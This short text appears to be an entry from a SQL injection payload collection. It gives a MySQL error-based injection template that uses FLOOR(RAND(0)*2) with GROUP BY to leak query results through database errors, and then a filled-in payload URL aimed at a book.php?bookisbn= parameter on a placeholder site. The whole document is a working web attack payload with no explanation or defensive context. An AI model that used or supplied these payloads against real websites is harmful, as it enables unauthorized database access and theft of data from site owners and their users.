# Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

#Payload: 
http://site.com/book.php?bookisbn=123' AND (SELECT 9724 FROM(SELECT COUNT(*),CONCAT(0x716a7a7071,(SELECT (ELT(9724=9724,1))),0x71717a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.Tables GROUP BY x)a) AND 'aJYp'='aJYp
